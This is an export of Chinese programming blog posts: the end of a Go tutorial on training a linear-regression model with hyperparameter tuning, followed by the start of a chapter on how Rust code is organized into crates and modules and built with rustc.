超参调试与性能优化 在上面的讲解中，我们知道w1、w2、w3和b是模型内的参数，这些参数通过y’正向传播和基于梯度下降的反向传播在多轮训练中得以更新优化，并得到一个合理的值。这些值是机器从数据中学习到的，不需要我们手工调整。但还有一些参数，比如上面提到的学习率(learning rate)、训练轮数(Epochs)等，是模型外部的可以通过人工调节的参数，这样的参数称为超参数(Hyperparameters)。大多数机器学习从业者真正花费相当多的时间来调试的正是这类超参数。\n在实际应用中，选择合适的学习率和训练轮数等超参数通常需要结合以下方法：\n经验法则：基于先前经验和领域知识设定初始值。 交叉验证：通过交叉验证选择一组最优的超参数。 网格搜索：在多个可能的超参数组合上进行搜索，找到效果最好的参数组合。 学习率调度：动态调整学习率，比如在训练过程中逐渐减小学习率。 超参数对模型效果和优化的影响非常重要，选择合适的超参数可以显著提高模型性能。本文是入门文章，关于超参的调优就不展开说明了。\n基于通过上面的对机器学习的术语、概念和对训练一般步骤的了解，接下来，我们通过一个实例来训练一个最简单的机器学习模型：线性回归模型。这也被称为机器学习领域的“Hello, World”。\n3. 线性回归：机器学习的Hello, World 我们按照前面关于机器学习的一般步骤，逐步展开该示例的说明。\n3.1 准备数据和预处理 我们这个示例依旧是预测房价，但是为了简单，我们不使用那些公共数据集（比如kaggle平台上的数据），而是让大模型帮我生成两个小规模的数据集，一个是用于训练的train.csv，一个是用于测试的test.csv：\n$cat train.csv 面积,距离,房价 50,10,200 60,12,220 70,15,250 80,20,300 90,25,330 100,30,360 110,35,390 120,40,420 130,45,450 140,50,480 $cat test.csv 面积,距离,房价 55,11,210 65,13,230 75,17,260 85,22,310 95,27,340 105,32,370 115,37,400 125,42,430 135,47,460 145,52,490 还是为了简单，我们在这两份数据集中仅使用两个特征：面积和离市中心距离。\n接下来，我们就通过编码来实现对csv文件的读取：\n// go-and-nn/linear-regression/main.go func readCSV(filePath string) ([][]float64, error) { file, err := os.Open(filePath) if err != nil { return nil, err } defer file.Close() reader := csv.NewReader(file) records, err := reader.ReadAll() if err != nil { return nil, err } data := make([][]float64, len(records)-1) for i := 1; i \u0026lt; len(records); i++ { data[i-1] = make([]float64, len(records[i])) for j := range records[i] { data[i-1][j], err = strconv.ParseFloat(records[i][j], 64) if err != nil { return nil, err } } } return data, nil } readCSV用于从CSV文件中读取所有样本数据（已去掉了header），所有样本数据（包括特征与标签）都存储在一个[][]float64类型的变量中。\n拿到数据后，我们便可以对其进行标准化，前面说过通常情况下，标准化后的数据会使模型训练更加稳定和快速，从而可能提高模型的预测性能。下面是我们实现用于对训练数据集进行标准化的函数：\n// go-and-nn/linear-regression/main.go func standardize(data [][]float64) ([][]float64, []float64, []float64) { mean := make([]float64, len(data[0])-1) std := make([]float64, len(data[0])-1) for i := 0; i \u0026lt; len(data[0])-1; i++ { for j := 0; j \u0026lt; len(data); j++ { mean[i] += data[j][i] } mean[i] /= float64(len(data)) } for i := 0; i \u0026lt; len(data[0])-1; i++ { for j := 0; j \u0026lt; len(data); j++ { std[i] += math.Pow(data[j][i]-mean[i], 2) } std[i] = math.Sqrt(std[i] / float64(len(data))) } standardizedData := make([][]float64, len(data)) for i := 0; i \u0026lt; len(data); i++ { standardizedData[i] = make([]float64, len(data[i])) for j := 0; j \u0026lt; len(data[i])-1; j++ { standardizedData[i][j] = (data[i][j] - mean[j]) / std[j] } standardizedData[i][len(data[i])-1] = data[i][len(data[i])-1] } return standardizedData, mean, std } standardize中的mean和std分别用于存储每个特征的均值和标准差（标准差是反应一组数据离散程度最常用的一种量化形式，累加每个样本的特征值与均值的平方差，然后除以样本数量，再开平方，便可得到该特征的标准差）。有了均值和标准差后，我们用原始特征值减去均值，然后除以标准差，得到标准化后的特征值。标签无需标准化。\n3.2 选择机器学习模型 基于前面的铺垫，我们早就明确了适合房屋价格预测的机器学习模型，那就是一个多元线性函数，确定假设函数为：\n损失函数我们也用均方误差(Mean Square Error，MSE)函数，这样损失函数就是w1、w2和b的函数：L(w1, w2, b)。依据前面的介绍，我们可以推导出损失函数L对w1、w2和b的偏导数以及权重更新公式如下：\n确定了模型相关的公式后，我们就可以来实现该模型的训练了！\n3.3 训练 下面是训练函数的实现代码：\n// go-and-nn/linear-regression/main.go func trainModel(data [][]float64, learningRate float64, epochs int) ([]float64, float64) { features := len(data[0]) - 1 weights := make([]float64, features) bias := 0.0 for epoch := 0; epoch \u0026lt; epochs; epoch++ { gradW := make([]float64, features) gradB := 0.0 mse := 0.0 for i := 0; i \u0026lt; len(data); i++ { prediction := bias for j := 0; j \u0026lt; features; j++ { prediction += weights[j] * data[i][j] } error := prediction - data[i][features] mse += error * error for j := 0; j \u0026lt; features; j++ { gradW[j] += error * data[i][j] } gradB += error } mse /= float64(len(data)) // 更新权重 for j := 0; j \u0026lt; features; j++ { gradW[j] /= float64(len(data)) weights[j] -= learningRate * gradW[j] } gradB /= float64(len(data)) // 更新偏置 bias -= learningRate * gradB // Output the current weights, bias and loss fmt.Printf(\u0026#34;Epoch %d: Weights: %v, Bias: %f, MSE: %f\\n\u0026#34;, epoch+1, weights, bias, mse) } return weights, bias } 在这个代码实现中，我们将权重和偏置的初始值都设置为了0，然后进入训练循环，循环的次数由外部传入的epochs来决定，前面提到过epochs也是一个超参。每次循环代表一次完整的训练过程。gradW用于存储每个特征的梯度，gradB则用于存储偏置的梯度值。梯度计算以及后面的更新权重的算法也都是按照上面图片中的公式进行的。注意代码中的error变量并非代表错误，而是表示预测误差（即预测值减去真实标签值）。\n下面是驱动训练函数的代码：\n// go-and-nn/linear-regression/main.go func main() { // Read training data trainData, err := readCSV(\u0026#34;train.csv\u0026#34;) if err != nil { log.Fatalf(\u0026#34;failed to read training data: %v\u0026#34;, err) } // Read testing data testData, err := readCSV(\u0026#34;test.csv\u0026#34;) if err != nil { log.Fatalf(\u0026#34;failed to read testing data: %v\u0026#34;, err) } // Standardize training data standardizedTrainData, mean, std := standardize(trainData) // Train model learningRate := 0.0001 epochs := 1000 weights, bias := trainModel(standardizedTrainData, learningRate, epochs) fmt.Printf(\u0026#34;Trained Weights: %v\\n\u0026#34;, weights) fmt.Printf(\u0026#34;Trained Bias: %f\\n\u0026#34;, bias) // Evaluate model on test data predictAndEvaluate2(testData, weights, bias, mean, std) } 这里我们设置超参学习率为0.0001，设置epochs为1000，即进行1000轮完整的训练。trainModel训练完成后返回最优的权重值和偏置值。\n之后，我们基于训练后的模型以及测试数据集进行模型效果评估，\n// go-and-nn/linear-regression/main.go func predictAndEvaluate(data [][]float64, weights []float64, bias float64, mean []float64, std []float64) { features := len(data[0]) - 1 mse := 0.0 for i := 0; i \u0026lt; len(data); i++ { // Standardize the input features using the training mean and std standardizedFeatures := make([]float64, features) for j := 0; j \u0026lt; features; j++ { standardizedFeatures[j] = (data[i][j] - mean[j]) / std[j] } // Calculate the prediction prediction := bias for j := 0; j \u0026lt; features; j++ { prediction += weights[j] * standardizedFeatures[j] } // Calculate the error and accumulate the MSE error := prediction - data[i][features] mse += error * error // Print the prediction and the actual value fmt.Printf(\u0026#34;Sample %d: Predicted Value: %f, Actual Value: %f\\n\u0026#34;, i+1, prediction, data[i][features]) } // Calculate the final MSE mse /= float64(len(data)) fmt.Printf(\u0026#34;Mean Squared Error: %f\\n\u0026#34;, mse) } 该评估函数会输出测试集中每一组数据的预测值与标签值的对比。\n我们运行一下该代码：\n$go build $./demo Epoch 1: Weights: [0.009191300234460844 0.009159461537409297], Bias: 0.034000, MSE: 124080.000000 Epoch 2: Weights: [0.018380768863390594 0.01831709148135162], Bias: 0.067997, MSE: 124053.513977 Epoch 3: Weights: [0.02756840625241513 0.027472890197452842], Bias: 0.101990, MSE: 124027.033923 Epoch 4: Weights: [0.03675421276708735 0.036626858051265865], Bias: 0.135980, MSE: 124000.559834 Epoch 5: Weights: [0.04593818877288719 0.0457789954082706], Bias: 0.169966, MSE: 123974.091710 ... ... Epoch 997: Weights: [8.311660331200889 8.279923139396109], Bias: 32.264505, MSE: 100432.407457 Epoch 998: Weights: [8.319195610465172 8.287426591989], Bias: 32.295278, MSE: 100411.202067 Epoch 999: Weights: [8.326729388699432 8.294928543563927], Bias: 32.326049, MSE: 100390.001368 Epoch 1000: Weights: [8.334261666203304 8.302428994420524], Bias: 32.356816, MSE: 100368.805359 Trained Weights: [8.334261666203304 8.302428994420524] Trained Bias: 32.356816 Sample 1: Predicted Value: 10.081607, Actual Value: 210.000000 Sample 2: Predicted Value: 14.223776, Actual Value: 230.000000 Sample 3: Predicted Value: 19.606495, Actual Value: 260.000000 Sample 4: Predicted Value: 25.609490, Actual Value: 310.000000 Sample 5: Predicted Value: 31.612486, Actual Value: 340.000000 Sample 6: Predicted Value: 37.615481, Actual Value: 370.000000 Sample 7: Predicted Value: 43.618476, Actual Value: 400.000000 Sample 8: Predicted Value: 49.621471, Actual Value: 430.000000 Sample 9: Predicted Value: 55.624466, Actual Value: 460.000000 Sample 10: Predicted Value: 61.627461, Actual Value: 490.000000 Mean Squared Error: 104949.429046 从最终的预测结果输出来看，这个模型的效果那是相当的差！预测值与测试集中的真实标签值相距“十万八千里”！问题出在哪里了呢？我们接下来来看看超参对模型训练的作用。\n3.4 超参调试和优化 我们在上面例子中使用的学习率(learningRate)为0.0001，这个数值似乎有些小。\n如果学习率太小，模型的更新幅度会很小，导致训练过程非常缓慢，可能需要大量的训练轮次才能收敛。我们这里设置的训练轮次(epochs)为1000，在0.0001如此小的学习率下面，模型可能尚未收敛，训练就结束了！所以，我们尝试先将学习率由0.0001改为0.01，再来训练和评估一次，这回的输出结果如下：\n$go build $./demo Epoch 1: Weights: [0.009191300234460844 0.009159461537409297], Bias: 0.034000, MSE: 124080.000000 Epoch 2: Weights: [0.018380768863390594 0.01831709148135162], Bias: 0.067997, MSE: 124053.513977 Epoch 3: Weights: [0.02756840625241513 0.027472890197452842], Bias: 0.101990, MSE: 124027.033923 Epoch 4: Weights: [0.03675421276708735 0.036626858051265865], Bias: 0.135980, MSE: 124000.559834 Epoch 5: Weights: [0.04593818877288719 0.0457789954082706], Bias: 0.169966, MSE: 123974.091710 Epoch 6: Weights: [0.055120334635221604 0.05492930263387402], Bias: 0.203949, MSE: 123947.629550 ... ... Epoch 996: Weights: [47.520035679041236 44.407936879025506], Bias: 339.984720, MSE: 44.287037 Epoch 997: Weights: [47.521568654779436 44.406403906767075], Bias: 339.984872, MSE: 44.286092 Epoch 998: Weights: [47.523101572396406 44.404870992560404], Bias: 339.985024, MSE: 44.285147 Epoch 999: Weights: [47.524634431895045 44.40333813640399], Bias: 339.985174, MSE: 44.284203 Epoch 1000: Weights: [47.52616723327823 44.401805338296306], Bias: 339.985322, MSE: 44.283259 Trained Weights: [47.52616723327823 44.401805338296306] Trained Bias: 339.985322 Sample 1: Predicted Value: 216.742422, Actual Value: 210.000000 Sample 2: Predicted Value: 239.923439, Actual Value: 230.000000 Sample 3: Predicted Value: 269.738984, Actual Value: 260.000000 Sample 4: Predicted Value: 302.871794, Actual Value: 310.000000 Sample 5: Predicted Value: 336.004604, Actual Value: 340.000000 Sample 6: Predicted Value: 369.137414, Actual Value: 370.000000 Sample 7: Predicted Value: 402.270225, Actual Value: 400.000000 Sample 8: Predicted Value: 435.403035, Actual Value: 430.000000 Sample 9: Predicted Value: 468.535845, Actual Value: 460.000000 Sample 10: Predicted Value: 501.668655, Actual Value: 490.000000 Mean Squared Error: 54.966611 这回我们看懂，训练后的模型在测试集上的预测结果与实际标签值非常接近，可以看到对超参learningRate的调整见效了！\n当然如果不调整learningRate，通过调节epochs到一个更大的值可能也能达到这个效果，但却要耗费更多的算力和等待时间。\n4. 小结 本文是我在去年发表了与机器学习相关的文章《Go与神经网络：张量运算》之后的又一篇尝试。在这篇文章中，我从最基础的机器学习入手，以线性回归这个传统机器学习中的”Hello, World”示例为切入点，逐步探讨机器学习的基本概念和实现流程。\n在这篇文章中，我们在解决线性回归问题时并未引入神经网络的概念，其实基于神经网络也可以解决线性回归问题，并且一个线性回归模型可以看成是一个单层的全连接神经网络。在后续的文章中，我们会使用神经网络再解线性回归问题，到时候本文的知识也会帮助你更好地理解神经网络。\n本文涉及的源码可以在这里下载 – https://github.com/bigwhite/experiments/blob/master/go-and-nn/linear-regression\n本文的数学公式均由https://www.latexlive.com/基于latex语法在线生成。\n本文中的部分源码由OpenAI的GPT-4o生成。\n5. 参考资料 《人工智能：现代方法（第4版）》 – https://book.douban.com/subject/36152133/ 《零基础学机器学习》 – https://book.douban.com/subject/35264202/ 《动手学深度学习2nd-pytorch版》 – https://zh-v2.d2l.ai 《深度学习进阶：自然语言处理》 – https://book.douban.com/subject/35225413/ 《机器学习：Go语言实现》 – https://book.douban.com/subject/30457083/ 《深度学习入门2：自制框架》 – https://book.douban.com/subject/36303408/ 《GO语言机器学习实战》 – https://book.douban.com/subject/35037170/ Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/06/10/go-and-nn-part2-linear-regression/","summary":"\u003cp\u003e\u003cimg alt=\"Image 59\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-and-nn-part2-linear-regression-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/06/10/go-and-nn-part2-linear-regression\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/06/10/go-and-nn-part2-linear-regression\"\u003ehttps://tonybai.com/2024/06/10/go-and-nn-part2-linear-regression\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e离发表上一篇与机器学习相关的文章\u003ca href=\"https://tonybai.com/2023/05/21/go-and-nn-part1-tensor-operations\"\u003e《Go与神经网络：张量运算》\u003c/a\u003e已经过去整整一年了，AI领域，特别是大模型领域的热度不仅未有减弱，反而愈演愈烈。整个行业变得更卷，竞争更加激烈，大模型你方唱罢我登场，层出不穷，各自能力也都在不断提升，并在自然语言处理、问答、生成等方面展现出强大的能力。同时基于\u003ca href=\"https://tonybai.com/2024/05/09/text-vectorization-using-ollama-and-go-based-on-text-embedding-models/\"\u003eRAG(Retrieval-Augmented Generation)\u003c/a\u003e等技术，大模型还可以实时检索相关知识并融合到生成结果中，进一步提升了大模型在专业领域的应用价值。\u003c/p\u003e","title":"Go与神经网络：线性回归"},{"content":"\n本文永久链接 – https://tonybai.com/2024/06/06/gopher-rust-first-lesson-organizing-rust-code\n在上一章的讲解中，我们编写了第一个Rust示例程序”hello, world”，并给出了rustc版和cargo版本。在真实开发中，我们都会使用cargo来创建和管理Rust包。不过，Hello, world示例非常简单，仅仅由一个Rust源码文件组成，而且所有源码文件都在同一个目录中。但真实世界中的实用Rust程序，无论是公司商业项目，还是一些知名的开源项目，甚至是一些稍复杂一些的供教学使用的示例程序，它们通常可不会这么简单，都有着复杂的代码结构。\nRust初学者在阅读这些项目源码时便仿佛进入了迷宫，不知道该走哪条（阅读代码的）路径，不知道每个目录代表的含义，也不知道自己想看的源码究竟在哪个目录下。但目前市面上的Rust入门教程大多没有重视初学者的这一问题，要么没有对Rust项目代码组织结构进行针对性的讲解，要么是将讲解放到书籍的后面章节。\n根据我个人的学习经验来看，理解一个实用Rust项目的代码组织结构越早，对后续的Rust学习越有益处。同时，掌握Rust项目的代码组织结构也是Rust开发者走向编写复杂Rust程序的必经的一步。并且，初学者在了解项目的代码组织结构后，便可以自主阅读一些复杂的Rust项目的源码，可提高Rust学习的效率，提升学习效果。因此，我决定在介绍Rust基础语法之前先在本章中系统地介绍Rust的代码组织结构，以满足很多Rust初学者的述求。\n但在介绍Rust代码组织结构之前，我们需要先来系统说明一下Rust代码组织结构中的几个重要概念，它们是了解Rust项目代码组织结构的前提。\n4.1 回顾Go代码组织 Go项目代码组织由module和package两级组成。通常来说，每个Go repo就是一个module，由repo根目录下的go.mod定义，go.mod文件所在目录也被称为module root。go.mod中典型内容如下：\n// go.mod module github.com/user/mymodule[/vN] go 1.22.1 ... ... go.mod中的module directive一行后面的github.com/user/mymodule/[vN]是module path。module path一来可以反映该module的具体网络位置，同时也是该module下面的Go package导入(import)路径的组成部分。module root下的子目录中通常存放着该module下面的Go package，比如module root/foo目录下存放的Go包的导入路径为github.com/user/mymodule[/vN]/foo。\nGo package是Go的编译单元，也是功能单元，代码内外部导入和引用的单位也都是包。而go module是后加入的，更多用于管理包的版本（一个module下的所有包都统一进行版本管理）以及构建时第三方依赖和版本的管理。\n更多关于Go module和package管理以及Go项目布局的内容，可以详见我的极客时间《Go语言第一课》专栏。\n个人认为Go的module和package的两级管理还是很好理解和管理的，在这方面Rust的代码组织形式又是怎样的呢？接下来，我们就来正式看看Rust的代码组织。\n4.2 rustc-only的Rust项目 Rust是系统编程语言，这让我想起了当初在Go成为我个人主力语言之前使用C/C++进行开发的岁月。C/C++是没有像go或Rust的cargo那样的统一的包依赖管理器和项目构建管理工具的。编译器(如gcc等)是核心工具，而项目构建管理则经常由其他工具负责，如Makefile、CMake，或者是Google的Bazel等。在Windows上开发应用的，则往往使用微软或其他开发者工具公司提供的IDE，如当年炙手可热的Visual Studio系列。\n下面表格展示了各语言的编译器/链接器和构建管理工具的关系：\n像cargo、go这样的“一站式”工具链都旨在为开发者提供体验更为友好的交互接口的，在幕后，它们仍然依赖于底层的编译器和链接器（如rustc和go tool compile/link）来执行实际的代码编译。\n不过，像cargo这样的高级工具也给开发人员带来了额外的抽象，或是叫“掩盖”了一些真相，这有时候让人看不清构建过程的本质，比如：很多Gopher用了很多年Go，但却不知道go tool compile/link的存在。\n本着只有in hard way，才能看到和抓住本质的思路，以及之前学习用系统编程语言C/C++时经验，这里我们先来看一些rustc-only的Rust项目。Rustc-only的Rust项目是指不使用Cargo创建和管理的Rust项目，而是直接使用rustc编译器来编译和构建项目。这意味着开发者需要编写自己的构建脚本，例如使用Makefile或其他构建工具来管理项目的构建过程。\n不过，请注意：这类项目极少用于生产，即便是那些不需要复杂的依赖管理的小型项目。这里使用rustc-only的Rust项目仅仅是为了学习和了解Rustc编译器的主要功能机制以及Rust语言在代码组织上的一些抽象，比如module等。\n下面我们就从最简单的rustc-only项目开始，先来看看只有一个Rust源文件且无其他依赖项的“最简项目”。\n4.2.1 单文件项目 所谓单文件项目，即只有一个Rust源文件，例如前面章节中的hello_world.rs，这种项目可以直接使用rustc编译器来编译和运行：\n// rust-guide-for-gopher/organizing-rust-code/rustc-only/single/hello-world/hello_world.rs fn main() { println!(\u0026#34;Hello, world!\u0026#34;); } 对于顶层带有main函数的源文件，rustc会默认将其视为binary crate类型的源文件，并将其编译为可执行二进制文件hello_world。\n我们当然也可以强制的让rustc将该源文件视为library crate类型的源文件，并将其编译为其他类型的crate输出文件，rustc支持多种crate type：\n--crate-type [bin|lib|rlib|dylib|cdylib|staticlib|proc-macro] Comma separated list of types of crates for the compiler to emit 在rustc的文档中，各种crate类型的含义如下：\nlib — Generates a library kind preferred by the compiler, currently defaults to rlib. rlib — A Rust static library. staticlib — A native static library. dylib — A Rust dynamic library. cdylib — A native dynamic library. bin — A runnable executable program. proc-macro — Generates a format suitable for a procedural macro library that may be loaded by the compiler. 不过，如果强制将带有顶层main函数的rust源文件视为lib crate型的，那么rustc将会报warning，提醒你函数main将是死代码，永远不会被用到：\n$rustc --crate-type lib hello_world.rs warning: function `main` is never used --\u0026gt; hello_world.rs:1:4 | 1 | fn main() { | ^^^^ | = note: `#[warn(dead_code)]` on by default warning: 1 warning emitted 但即便如此，一个名为libhello_world.rlib的文件依然会被rustc生成出来！（目前–crate-type lib等同于–create-type rlib)。\n4.2.2 有外部依赖项的单文件项目 日常开发中，像上面的Hello, World级别的trivial应用是极其少见的，一个non-trivial的Rust应用或多或少都会有一些依赖。这里我们也来看一下如何基于rustc来构建带有外部依赖的单文件项目。下面是一个带有外部依赖的示例：\n// organizing-rust-code/rustc-only/single/hello-world-with-deps/hello_world.rs extern crate rand; use rand::Rng; fn main() { let mut rng = rand::thread_rng(); let num: u32 = rng.gen(); println!(\u0026#34;Random number: {}\u0026#34;, num); } 这个示例程序依赖一个名为rand的crate，要编译该程序，我们必须先手动下载rand的crate源码，并在本地将rand源码编译为示例程序所需的rust library。下面步骤展示了如何下载和构建rand crate：\n$curl -LO https://crates.io/api/v1/crates/rand/0.8.5/download $tar -xvf download 解压后，我们将看到rand-0.8.5这样的一个crate目录，进入该目录，我们执行cargo build来构建rand crate：\n$cd rand-0.8.5 $cargo build ... ... Finished dev [unoptimized + debuginfo] target(s) in 0.19s cargo构建出的librand.rlib就在rand-0.8.5/target/debug下。\n注：rlib的命名方式：lib+{crate_name}.rlib\n接下来，我们就来构建一下依赖rand crate的hello_world.rs：\n// 在organizing-rust-code/rustc-only/single/hello-world-with-deps下面执行 $rustc --verbose -L ./rand-0.8.5/target/debug --extern rand=librand.rlib hello_world.rs error[E0463]: can\u0026#39;t find crate for `rand_core` which `rand` depends on --\u0026gt; hello_world.rs:1:1 | 1 | extern crate rand; | ^^^^^^^^^^^^^^^^^^ can\u0026#39;t find crate error: aborting due to 1 previous error For more information about this error, try `rustc --explain E0463`. 我们看到rustc的编译错误提示：无法找到rand crate依赖的rand_core crate！也就是说我们除了向rustc提供hello_world.rs依赖的rand crate之外，还要向rustc提供rand crate的各种依赖！\nrand crate的各种依赖在哪里呢？我们在构建rand crate时，cargo build将各种依赖都放在了rand-0.8.5/target/debug/deps目录下了：\n$ls -l|grep \u0026#34;.rlib\u0026#34; -rw-r--r-- 1 tonybai staff 6896 4 29 06:45 libcfg_if-cd6bebf18fb9c234.rlib -rw-r--r-- 1 tonybai staff 204072 4 29 06:45 libgetrandom-df6a8e95e188fc56.rlib -rw-r--r-- 1 tonybai staff 1651320 4 29 06:45 liblibc-f16531562d07b476.rlib -rw-r--r-- 1 tonybai staff 959408 4 29 06:45 libppv_lite86-f1d97d485bc43617.rlib -rw-r--r-- 1 tonybai staff 1784376 4 29 06:45 librand-9a91ea8db926e840.rlib -rw-r--r-- 1 tonybai staff 987936 4 29 06:45 librand_chacha-6fe22bd8b3bb228c.rlib -rw-r--r-- 1 tonybai staff 256768 4 29 06:45 librand_core-fc905f6ca5f8533b.rlib 我们看到其中还包含了librand自身：librand-9a91ea8db926e840.rlib。我们来试试基于deps目录下的这些依赖rlib编译一下：\n$rustc --verbose --extern rand=rand-0.8.5/target/debug/deps/librand-9a91ea8db926e840.rlib -L rand-0.8.5/target/debug/deps --extern rand_core=librand_core-fc905f6ca5f8533b.rlib --extern getrandom=libgetrandom-df6a8e95e188fc56.rlib --extern cfg_if=libcfg_if-cd6bebf18fb9c234.rlib --extern libc=liblibc-f16531562d07b476.rlib --extern rand_chacha=librand_chacha-6fe22bd8b3bb228c.rlib --extern ppv_lite86=libppv_lite86-f1d97d485bc43617.rlib hello_world.rs 我们用rustc成功编译了带有外部依赖的Rust源码。不过这里要注意的是rustc对直接依赖和间接依赖的crate的定位方式有所不同。\n对于直接依赖的crate，比如这里的rand crate，我们需要给出具体路径，它不依赖-L的位置指示，所以这里我们使用了–extern rand=rand-0.8.5/target/debug/deps/librand-9a91ea8db926e840.rlib。\n对于间接依赖的crate，比如rand crate依赖的rand_core，rust会结合-L指示的位置以及–extern一起来定位，这里-L指示路径为rand-0.8.5/target/debug/deps，–extern rand_core=librand_core-fc905f6ca5f8533b.rlib，那么rustc就会在rand-0.8.5/target/debug/deps下面搜索librand_core-fc905f6ca5f8533b.rlib是否存在。\n我们运行rustc构建出的可执行文件，输出如下：\n$./hello_world Random number: 431751199 4.2.3 有外部依赖的多文件项目 在Go中，如果某个目录下有多个源文件，那么通常这几个源文件均归属于同一个Go包(可能的例外的是*_test.go文件的包名)。但在Rust中，情况就会变得复杂了一些，我们来看一个例子：\n// organizing-rust-code/rustc-only/multi/multi-file-with-deps $tree -F -L 2 . ├── main.rs ├── sub1/ │ ├── bar.rs │ ├── foo.rs │ └── mod.rs └── sub2.rs 在这个示例中，我们看到除了main.rs之外，还有一个sub2.rs以及一个目录sub1，sub1下面还有三个rs文件。我们从main.rs开始，逐一看一下各个源文件的内容：\n// organizing-rust-code/rustc-only/multi/multi-file-with-deps/main.rs 1 extern crate rand; 2 use rand::Rng; 3 4 mod sub1; 5 mod sub2; 6 7 mod sub3 { 8 pub fn func1() { 9 println!(\u0026#34;called {}::func1()\u0026#34;, module_path!()); 10 } 11 pub fn func2() { 12 self::func1(); 13 println!(\u0026#34;called {}::func2()\u0026#34;, module_path!()); 14 super::func1(); 15 } 16 } 17 18 fn func1() { 19 println!(\u0026#34;called {}::func1()\u0026#34;, module_path!()); 20 } 21 22 fn main() { 23 println!(\u0026#34;current module: {}\u0026#34;, module_path!()); 24 let mut rng = rand::thread_rng(); 25 let num: u32 = rng.gen(); 26 println!(\u0026#34;Random number: {}\u0026#34;, num); 27 28 sub1::func1(); 29 sub2::func1(); 30 sub3::func2(); 31 } 在main.rs中，我们除了看到了第12行的对外部rand crate的依赖外，我们还看到了一种新的语法元素：rust module。这里涉及sub1sub3三个module，我们分别来看一下。先来看一下最直观的、定义在main.rs中的sub3 module。\n第7行~第16行的代码定义了一个名为sub3的module，它包含两个函数func1和func2，这两个函数前面的pub关键字表明他们是sub3 module的publish函数，可以被module之外的代码所访问。任何未标记为pub的函数都是私有的，只能在模块内部及其子模块中使用。\n在sub3 module的func2函数中，我们调用了self::func1()函数，self指代是模块自身，因此这个self::func1()函数就是sub3的func1函数。而接下来调用的super::func1()调用的语义你大概也能猜到。super指代的是sub3的父模块，而super::func1()就是sub3的父模块中的func1函数。\nsub3的父模块就是这个项目的顶层模块，我们在main函数的入口处使用module_path!宏输出了该顶层模块的名称。\n和sub3在main.rs中定义不同，sub1和sub2也分别代表了另外两种module的定义方式。\n当Rust编译器看到第4行mod sub1后，它会寻找当前目录下是否有名为sub1.rs的源文件或是sub1/mod.rs源文件。在这个示例中，sub1定义在sub1目录下的mod.rs中：\n// organizing-rust-code/rustc-only/multi/multi-file-with-deps/sub1/mod.rs pub mod bar; pub mod foo; pub fn func1() { println!(\u0026#34;called {}::func1()\u0026#34;, module_path!()); foo::func1(); bar::func1(); } 我们看到sub1/mod.rs中定义了一个公共函数func1，同时也在最开始处又嵌套定义了bar和foo两个module，并在func1中调用了两个嵌套子module的函数：\nbar和foo两个module都是使用单文件module定义的，编译器会在sub1目录下搜寻foo.rs和bar.rs：\n// organizing-rust-code/rustc-only/multi/multi-file-with-deps/sub1/foo.rs pub fn func1() { println!(\u0026#34;called {}::func1()\u0026#34;, module_path!()); } // organizing-rust-code/rustc-only/multi/multi-file-with-deps/sub1/bar.rs pub fn func1() { println!(\u0026#34;called {}::func1()\u0026#34;, module_path!()); } 而main.rs中的sub2也是一个单文件的module，其源码位于顶层目录下的sub2.rs文件中：\n// organizing-rust-code/rustc-only/multi/multi-file-with-deps/sub2.rs pub fn func1() { println!(\u0026#34;called {}::func1()\u0026#34;, module_path!()); } 现在我们来编译和执行一下这个既有外部依赖，又是多文件且有多个module的rustc-only项目：\n$rustc --verbose --extern rand=rand-0.8.5/target/debug/deps/librand-9a91ea8db926e840.rlib -L rand-0.8.5/target/debug/deps --extern rand_core=librand_core-fc905f6ca5f8533b.rlib --extern getrandom=libgetrandom-df6a8e95e188fc56.rlib --extern cfg_if=libcfg_if-cd6bebf18fb9c234.rlib --extern libc=liblibc-f16531562d07b476.rlib --extern rand_chacha=librand_chacha-6fe22bd8b3bb228c.rlib --extern ppv_lite86=libppv_lite86-f1d97d485bc43617.rlib main.rs $./main current module: main Random number: 2691905579 called main::sub1::func1() called main::sub1::foo::func1() called main::sub1::bar::func1() called main::sub2::func1() called main::sub3::func1() called main::sub3::func2() called main::func1() 上面示例演示了三种rust module的定义方法：\n直接将定义嵌入在某个rust源文件中： mod module_name { } 通过module_name.rs 通过module_name/mod.rs 在一个单crate的项目中，通过rust module可以满足项目内部代码组织的需要。\n最后，我们再来看一个有多个crate的项目形式。\n4.2.4 有多个crate的项目 下面是一个有着多个crate项目的示例：\n// organizing-rust-code/rustc-only/workspace $tree -L 2 -F . ├── main.rs ├── my_local_crate1/ │ └── lib.rs └── my_local_crate2/ └── lib.rs 在这个示例中有三个crate，一个是顶层的binary类型的crate，入口为main.rs，另外两个都是lib类型的crate，入口都在lib.rs中，我们贴一下他们的源码：\n// organizing-rust-code/rustc-only/workspace/main.rs extern crate my_local_crate1; extern crate my_local_crate2; fn main() { let x = 5; let y = my_local_crate1::add_one(x); let z = my_local_crate2::multiply_two(y); println!(\u0026#34;Result: {}\u0026#34;, z); } // organizing-rust-code/rustc-only/workspace/my_local_crate1/lib.rs pub fn add_one(x: i32) -\u0026gt; i32 { x + 1 } // organizing-rust-code/rustc-only/workspace/my_local_crate2/lib.rs pub fn multiply_two(x: i32) -\u0026gt; i32 { x * 2 } 要构建这个带有三个crate的项目，我们需要首先编译my_local_crate1和my_local_crate2这两个lib 